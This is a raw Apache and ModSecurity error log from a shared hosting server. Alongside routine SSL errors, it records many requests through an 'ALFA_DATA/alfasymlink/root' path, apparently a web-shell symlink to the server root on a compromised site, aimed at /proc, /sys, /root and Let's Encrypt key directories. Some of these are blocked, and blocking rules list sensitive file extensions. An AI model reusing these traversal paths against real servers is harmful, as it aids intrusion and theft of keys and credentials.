[Tue Oct 27 07:53:55.759175 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.91.122.193:32746] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:53:59.753507 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.0.218.219:31609] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:54:03.850760 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.207.207.36:49457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:54:07.705127 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.6.5.24:13953] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:54:11.741092 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 54.163.136.244:36173] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:54:20.035268 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 3.219.80.71:9513] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:54:27.754542 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 44.218.170.184:58827] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:54:35.792735 2026] [ssl:error] [pid 3209601:tid 3209601] (5)Input/output error: [client 3.212.219.113:62877] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:54:39.905451 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 107.22.208.39:28249] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:54:41.660862 2026] [core:error] [pid 3221566:tid 3221566] (13)Permission denied: [client 85.208.96.198:62644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/reclaim_account
[Tue Oct 27 07:54:43.890353 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 54.84.93.8:5269] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:54:51.804273 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.152.163.42:61005] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:55:07.773165 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 3.213.213.161:43884] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:55:19.802645 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.85.126.86:20262] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:55:20.478796 2026] [security2:error] [pid 3221566:tid 3221566] [client 185.191.171.7:19716] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/dracut/modules.d/98dracut-systemd/dracut-tmpfiles.conf"] [unique_id "auCRKCV3rvdaeXJTlLHAYAAAAAM"]
[Tue Oct 27 07:55:20.479180 2026] [security2:error] [pid 3221566:tid 3221566] [client 185.191.171.7:19716] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/dracut/modules.d/98dracut-systemd/dracut-tmpfiles.conf"] [unique_id "auCRKCV3rvdaeXJTlLHAYAAAAAM"]
[Tue Oct 27 07:55:20.479570 2026] [security2:error] [pid 3221566:tid 3221566] [client 185.191.171.7:19716] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/dracut/modules.d/98dracut-systemd/dracut-tmpfiles.conf"] [unique_id "auCRKCV3rvdaeXJTlLHAYAAAAAM"]
[Tue Oct 27 07:55:27.109501 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 66.132.159.130:21250] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 07:55:28.569861 2026] [core:crit] [pid 3209611:tid 3209611] (13)Permission denied: [client 66.132.159.130:21266] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 07:55:31.910939 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.94.40.182:61918] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:55:40.106034 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.194.139.149:15894] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:55:43.772916 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 52.23.112.144:56719] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:55:51.896775 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 18.209.137.234:2695] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:14/eject
[Tue Oct 27 07:55:55.812034 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 35.169.102.85:42497] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:56:00.034879 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 35.153.86.200:44853] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/usb1/remove
[Tue Oct 27 07:56:03.764470 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 52.4.213.199:4088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0F13:00/subsystem/uevent
[Tue Oct 27 07:56:07.767411 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 100.27.153.9:20529] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:56:11.998559 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 44.210.204.255:8889] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:56:15.962146 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 18.232.12.157:2593] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:56:20.119155 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.203.65.83:28740] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:56:35.864946 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 3.229.2.217:15578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory23/node0/memory5/subsystem/drivers_probe
[Tue Oct 27 07:57:07.711356 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.213.70.100:44725] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:57:13.003388 2026] [core:crit] [pid 3209611:tid 3209611] (13)Permission denied: [client 185.191.171.18:55380] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/pure-ftpd/64.20.54.226/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/pure-ftpd/64.20.54.226/' is executable
[Tue Oct 27 07:57:15.619602 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 52.4.213.199:26289] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:57:33.461333 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 23.23.103.31:30569] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:57:35.383274 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 3.215.59.93:29352] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:57:39.370609 2026] [core:error] [pid 3227573:tid 3227573] (13)Permission denied: [client 54.80.185.200:47006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/memory17/subsystem/drivers_probe
[Tue Oct 27 07:57:47.644730 2026] [core:error] [pid 3221566:tid 3221566] (13)Permission denied: [client 35.169.119.108:8175] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/resource4
[Tue Oct 27 07:58:11.313893 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 44.206.93.215:18182] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:58:27.058173 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 52.3.102.51:15963] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:58:31.087868 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 52.204.81.148:40043] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:58:39.007740 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.207.207.36:12915] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:58:43.098016 2026] [ssl:error] [pid 3227573:tid 3227573] (5)Input/output error: [client 52.202.233.37:21452] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:58:50.849441 2026] [ssl:error] [pid 3209603:tid 3209603] (5)Input/output error: [client 3.209.174.110:62462] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:58:50.893060 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 85.208.96.209:39926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:59:14.849070 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 34.194.226.74:47220] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:59:25.069506 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 85.208.96.211:52958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/destroy_by_rcu
[Tue Oct 27 07:59:30.614729 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 52.73.6.26:43228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver/bind
[Tue Oct 27 07:59:42.807717 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 3.220.148.166:31866] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:59:46.495411 2026] [ssl:error] [pid 3209611:tid 3209611] (5)Input/output error: [client 54.163.136.244:22454] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:59:50.519285 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 18.214.238.178:14977] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/ac/uevent
[Tue Oct 27 07:59:54.372340 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.210.213.220:42243] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:59:58.343150 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 107.20.224.184:31204] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:00:07.216347 2026] [core:crit] [pid 3221566:tid 3221566] (13)Permission denied: [client 144.76.19.24:34920] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fd/' is executable
[Tue Oct 27 08:00:07.216480 2026] [core:crit] [pid 3221566:tid 3221566] (13)Permission denied: [client 144.76.19.24:34920] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/map_files/' is executable
[Tue Oct 27 08:00:07.216513 2026] [core:crit] [pid 3221566:tid 3221566] (13)Permission denied: [client 144.76.19.24:34920] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fdinfo/' is executable
[Tue Oct 27 08:00:10.492856 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 144.76.19.24:34936] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fd/' is executable
[Tue Oct 27 08:00:10.492913 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 144.76.19.24:34936] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/map_files/' is executable
[Tue Oct 27 08:00:10.492931 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 144.76.19.24:34936] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fdinfo/' is executable
[Tue Oct 27 08:00:12.189016 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 85.208.96.194:24030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-4k/order
[Tue Oct 27 08:00:13.588765 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 144.76.19.24:34936] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fd/' is executable
[Tue Oct 27 08:00:13.588831 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 144.76.19.24:34936] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/map_files/' is executable
[Tue Oct 27 08:00:13.588869 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 144.76.19.24:34936] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fdinfo/' is executable
[Tue Oct 27 08:00:16.867445 2026] [core:crit] [pid 3209616:tid 3209616] (13)Permission denied: [client 144.76.19.24:49646] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fd/' is executable
[Tue Oct 27 08:00:16.867508 2026] [core:crit] [pid 3209616:tid 3209616] (13)Permission denied: [client 144.76.19.24:49646] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/map_files/' is executable
[Tue Oct 27 08:00:16.867524 2026] [core:crit] [pid 3209616:tid 3209616] (13)Permission denied: [client 144.76.19.24:49646] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/fdinfo/' is executable
[Tue Oct 27 08:00:17.639050 2026] [core:crit] [pid 3220899:tid 3220899] (13)Permission denied: [client 16.216.88.216:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Tue Oct 27 08:00:17.650863 2026] [core:crit] [pid 3220899:tid 3220899] (13)Permission denied: [client 16.216.88.216:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Tue Oct 27 08:00:18.275542 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.215.77.19:12799] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:00:22.287653 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 54.80.73.122:28251] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:00:23.238021 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 144.76.19.24:49648] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2/environ
[Tue Oct 27 08:00:26.207418 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 44.221.180.179:29436] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:00:27.902533 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 216.244.66.250:33702] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/live/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/live/' is executable
[Tue Oct 27 08:00:27.902605 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 216.244.66.250:33702] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/accounts/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/accounts/' is executable
[Tue Oct 27 08:00:27.902680 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 216.244.66.250:33702] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/keys/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/keys/' is executable
[Tue Oct 27 08:00:27.921438 2026] [core:crit] [pid 3219292:tid 3219292] (13)Permission denied: [client 216.244.66.250:33702] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/archive/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/archive/' is executable
[Tue Oct 27 08:00:31.138700 2026] [core:crit] [pid 3227580:tid 3227580] (13)Permission denied: [client 216.244.66.250:51310] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/30/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/30/fd/' is executable
[Tue Oct 27 08:00:31.138786 2026] [core:crit] [pid 3227580:tid 3227580] (13)Permission denied: [client 216.244.66.250:51310] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/30/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/30/map_files/' is executable
[Tue Oct 27 08:00:31.138806 2026] [core:crit] [pid 3227580:tid 3227580] (13)Permission denied: [client 216.244.66.250:51310] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/30/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/30/fdinfo/' is executable
[Tue Oct 27 08:00:38.341587 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 98.82.38.120:53178] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:00:46.320805 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 3.208.146.193:7645] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/thermal/bind
[Tue Oct 27 08:01:06.387257 2026] [security2:error] [pid 3227580:tid 3227580] [client 35.169.119.108:62043] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/slots/8/"] [unique_id "auCSgmUNDY12-2npPMSFXAAAAAo"]
[Tue Oct 27 08:01:06.387312 2026] [security2:error] [pid 3227580:tid 3227580] [client 35.169.119.108:62043] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/slots/8/"] [unique_id "auCSgmUNDY12-2npPMSFXAAAAAo"]
[Tue Oct 27 08:01:18.211356 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 18.210.58.238:39673] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:01:22.391932 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 100.24.149.244:45908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/thermal/unbind
[Tue Oct 27 08:01:34.052843 2026] [security2:error] [pid 3221566:tid 3221566] [client 16.216.88.147:1024] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/coredump.conf"] [unique_id "auCSniV3rvdaeXJTlLHAfQAAAAM"]
[Tue Oct 27 08:01:34.053319 2026] [security2:error] [pid 3221566:tid 3221566] [client 16.216.88.147:1024] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/coredump.conf"] [unique_id "auCSniV3rvdaeXJTlLHAfQAAAAM"]
[Tue Oct 27 08:01:34.053604 2026] [security2:error] [pid 3221566:tid 3221566] [client 16.216.88.147:1024] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/coredump.conf"] [unique_id "auCSniV3rvdaeXJTlLHAfQAAAAM"]
[Tue Oct 27 08:01:43.107454 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 100.24.167.60:59977] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:01:47.653414 2026] [authz_core:error] [pid 3221566:tid 3221566] [client 35.94.164.169:54504] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 08:01:50.172028 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.22.87.224:63571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:02:02.247369 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.195.50.71:58826] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:02:06.203868 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.214.176.44:34833] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:02:18.270720 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.205.120.22:3446] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:02:22.191080 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 54.156.248.117:53297] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:02:42.281640 2026] [ssl:error] [pid 3227573:tid 3227573] (70014)End of file found: [client 52.70.123.241:33418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:02:46.176668 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 23.23.212.212:43263] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:02:49.370439 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 85.208.96.202:13222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/alloc_calls
[Tue Oct 27 08:02:54.196901 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 3.224.205.25:25234] AH02013: coalesce failed to read from data bucket
